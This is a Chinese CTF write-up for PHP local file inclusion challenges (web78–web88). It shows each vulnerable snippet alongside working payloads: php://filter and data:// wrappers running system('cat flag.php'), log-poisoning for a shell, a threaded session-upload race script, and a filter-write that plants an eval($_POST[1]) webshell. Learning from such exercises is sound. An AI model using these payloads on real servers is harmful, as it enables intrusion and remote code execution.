WEB78
没什么好讲的
payload:?file=php://filter/read=convert.base64-encode/resource=falg.php
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这里先看一下源码,上一个payload已经不能用了,因为过滤了php,
所以这里我们直接换一个方式。参考文章:https://www.freebuf.com/column/148886.html
用的是这一句
payload:?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
发现可以执行,接下来我们换一个命令执行进去执行。
这里有个一坑,就是不能把标签闭合了。<?php system(‘cat flag.php’);
payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
参考文章本地包含
日志getshell
抓包改user_Agent
蚁剑连接
用data协议之间include就不行,需要绕过open_basedir
/var/log/nginx/access.log
web81
同80一样也是日志包含。
web82_86
直接通杀脚本
import io
import requests
import threading
sessID = 'flag'
url = 'http://296b5d26-334c-4459-b7a6-b16db5aad264.challenge.ctf.show:8080/'
# 1.设置信号
# 使用Event的set()方法可以设置Event对象内部的信号标志为真。Event对象提供了isSet()方法来判断其内部信号标志的状态,当使用event对象的set()方法后,isSet()方法返回真.
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={
'PHPSESSID': sessID},
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={
'file': ('test.txt', f)}
)
def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
WEB87
参考链接
不同变量死亡绕过。
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
base64就可以绕过/
正好是phpdie正好是6个字节,加2为,4的倍数,正好可以bse64解码。
构造
php://filter/write=convert.base64-decode/resource=1.php
url 两次编码之后
payload
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
php://filter 的使用
p神的谈一谈php://filter的妙用
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
1、过滤了 . file伪协议不能用了
2、过滤了php php:// 协议协议不能用
3、不知道绝对路径 zip:// & bzip2:// & zlib:// 协议
4、没有过滤\ \ 可以使用 data:// 协议
payload(记得把=号删掉因为过滤了)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTsgPz4